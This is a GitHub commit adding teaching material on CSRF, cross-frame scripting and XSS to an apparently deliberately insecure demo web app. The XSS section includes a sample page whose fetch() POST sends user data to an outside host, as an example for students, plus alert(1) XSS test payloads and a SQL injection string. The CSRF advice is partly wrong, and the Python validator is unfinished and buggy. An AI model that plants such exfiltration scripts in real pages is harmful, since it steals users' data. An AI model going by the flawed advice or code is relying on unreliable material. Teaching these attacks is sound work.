-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
87c1989
commit 09252c5
Showing
11 changed files
with
174 additions
and
47 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# Cross-Site Request Forgery (CSRF) | ||
|
||
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application. | ||
|
||
## How to secure against this attack | ||
|
||
- End user education. | ||
- Https encryption. | ||
- End user education. | ||
- Implement a CORS Content Security Policy (CSP). | ||
- Understand how the attack can be executed in the specific conext of the application and user then code review with specific senarios in mind. | ||
- Implement three-factor authentication (3FA) for administrative opperations. | ||
- Seperate production and development environments. | ||
- Whitelist firewall policies |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
# Cross Frame Scripting | ||
|
||
Cross-Frame Scripting (XFS) is an attack that combines malicious JavaScript with an iframe that loads a legitimate page in an effort to steal data from an unsuspecting user. This attack is usually only successful when combined with social engineering. An example would consist of an attacker convincing the user to navigate to a web page the attacker controls. The attacker’s page then loads malicious JavaScript and an HTML iframe pointing to a legitimate site. Once the user enters credentials into the legitimate site within the iframe, the malicious JavaScript steals the keystrokes. | ||
|
||
[This example](index.html) demonstrates how easy it is to spoof a webpage, in this case the Unsecure PWA. | ||
|
||
This attack is particularly effective on mobile devices as the browser hides most of the URL and the the spoofing page only requires some HTML and some inline JS. Which is why XFS coupled with SMS scams are some of the most sucessful. | ||
|
||
> [!NOTE] | ||
> Make sure the Unsecure PWA is being served at [http://127.0.0.1](http://127.0.0.1) before opening the demonstration page. | ||
> `python main.py` | ||
As a more sophisticated attack the threat actors would: | ||
|
||
1. Serve both sites through a proxy circumventing any CORS CSP policy | ||
2. Have a back to base script that intercepts and transmits input data (username, password, credit card, etc) without the user knowing. | ||
3. Have a threat actor listening for inputs and interacting/handling the victim, which is how 2FA is often bypassed. | ||
|
||
How to secure against this attack | ||
|
||
1. End user education. | ||
2. Monitor http logs for unusually repeative GET calls. | ||
3. Implement Content Security Policy (CSP) preventing `<iframe>` loading. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,7 +1,53 @@ | ||
# XXS Testing scripts | ||
To use these scripts paste them into input boxes and see what gets executed or saved in the HTML | ||
# XXS - Cross Site Scripting | ||
|
||
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. | ||
|
||
## Software Engineeringing Course Specifications | ||
|
||
_"Cross-site scripting (XSS) involves injecting malicious code into an otherwise safe website. It is usually done through user input that is not sufficiently sanitised before being processed and stored on the server._ | ||
_Students should be able to interpret fragments of JavaScript related to cross-site scripting."_ | ||
|
||
Either an internal threat actor has intentionally or unintentionally inserted the malicious code into the code base or SQL/XXS vulnerability has been expoited to insert the malicious code into the code base. Students should be able to identify that a unknown script has been executed or that a POST request has been made to an unknown URL. | ||
|
||
```html | ||
<HTML> | ||
<HEAD> | ||
<TITLE>Welcome to yourWebsite</TITLE> | ||
<link href="http://yourwebsite.com/favicon.png" /> | ||
</HEAD> | ||
<BODY> | ||
<H1>Your Website</H1> | ||
<SCRIPT src="http://www.randomUrl.com/danger.js"></SCRIPT> | ||
|
||
or | ||
|
||
<SCRIPT> | ||
const response = fetch("http://www.randomUrl.com", { | ||
method: 'POST', | ||
headers: { | ||
'Content-Type': 'application/json; charset=UTF-8', | ||
}, | ||
body: JSON.stringify(yourData), | ||
}); | ||
</SCRIPT> | ||
</BODY> | ||
</HTML> | ||
``` | ||
|
||
## Non-destructive XXS Test Scripts | ||
|
||
To use these scripts paste them into any input boxes and see what gets executed or saved in the HTML. | ||
|
||
1. `<script>alert(1)</script>` | ||
2. `<img src=x onload(alert(1))>` | ||
3. `<svg onload=alert(1)>` | ||
4. `<iframe src=”javascript:alert(1)”></iframe>` | ||
4. `<iframe src=”javascript:alert(1)”></iframe>` | ||
|
||
## How to secure against this attack | ||
|
||
1. Regular code reviews | ||
2. Only known and secure 3rd party javascript libries should be externally linked. Preferably 3rd party libraries should be locally served after a code review. | ||
3. Defensive data handling | ||
4. Declare the language `<html lang="en">` | ||
5. Delare charset `<meta charset="utf-8">` | ||
6. Content Security Policy (CSP) Blocking `<SVG>` and `<SCRIPT>` tags. |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
# Defensive Data Handling | ||
|
||
## Input validation | ||
|
||
Input validation is a security control where input is checked to be valid data. It is best practice to validate data on entry to the application before it is stored or processed. If data is not valid it should be discarded and UI feedback provided to the user. | ||
|
||
- Frontend data validation with [form field attributes](..\secure_form_attributes/README.md). | ||
- Backend data validation with [regular expressions and REGEXR](data_handler.py) | ||
|
||
## Data sanitisation | ||
|
||
Data sanitisation is where data is 'santised' or cleaned for processing or storing. This is the process of replacing any potentially malicious characacters with non processing codes so the text will render as expected but no prcoessing will occur. For example the malicious string **`"';DROP TABLE users"`** when santitised will be stored as **\'\;DROP TABLE users** but will be render as **`';DROP TABLE users'**. | ||
|
||
### Data sanatisation methods | ||
|
||
- Best practice is to make all strings web safe before storing or processing them using a library like [html](https://docs.python.org/3/library/html.html). | ||
- Content loaded from a JSON file is loaded after all JavaScript has been executed so any malicious code in a JSON will never be executed by the browser.* | ||
- Jinga2 (built into Flask) converts all strings into web safe strings before rendering on the front-end.* | ||
|
||
\* _These measures are reactive but are still recomended as best pratice in case malicious code still manages to bypass all defensive measures._ | ||
|
||
## Error Handling | ||
|
||
Error handling (alse called exception catching) is essential in defensive data handing as a malicious user may attempt to exploit the application by providing it with invalid input to attempt to trigger an vulnerability. Students should be familiar with [Python exception handling](https://docs.python.org/3/tutorial/errors.html) specifically the [try](https://docs.python.org/3/reference/compound_stmts.html#try) statement. | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
############################################## | ||
# RE = RegExr = Regular Expressions # | ||
# Read the documentation and tutorials # | ||
# https://docs.python.org/3/library/re.html # | ||
# https://docs.python.org/3/howto/regex.html # | ||
############################################## | ||
|
||
import re | ||
import html | ||
import bcrypt | ||
|
||
class data_handler: | ||
|
||
def __init__(self): | ||
pass | ||
|
||
def check_password(self, password: str) -> bool: | ||
if len(password) < 10: | ||
return False | ||
if len(password) > 20: | ||
return False | ||
if re.search(r'[ ]', password): | ||
return False | ||
if not re.search(r'[A-Z]', password): | ||
return False | ||
if not re.search(r'[a-z]', password): | ||
return False | ||
if not re.search(r'[0-9]', password): | ||
return False | ||
if not re.search(r'[@#$%^&*()+|~-=`{}:”;,./]', password): | ||
return False | ||
return True | ||
|
||
def make_web_safe(self, string: str) -> str: | ||
return html.escape(string) | ||
|
||
def check_email(self, email: str) -> bool: | ||
if re.fullmatch(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)",email): | ||
return True | ||
else: | ||
return False | ||
|
||
def validate_name(self, name: str) -> bool: | ||
#Check if the name is valid (only alphabets allowed). | ||
if not name.isalpha(): | ||
return False | ||
return True | ||
|
||
def validate_name(self, number: Double) -> bool: | ||
#Check if the name is valid (only alphabets allowed). | ||
if number.isalpha(): | ||
return False | ||
return True | ||
|
||
def salt_and_hash(password): | ||
# to be implemented |
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters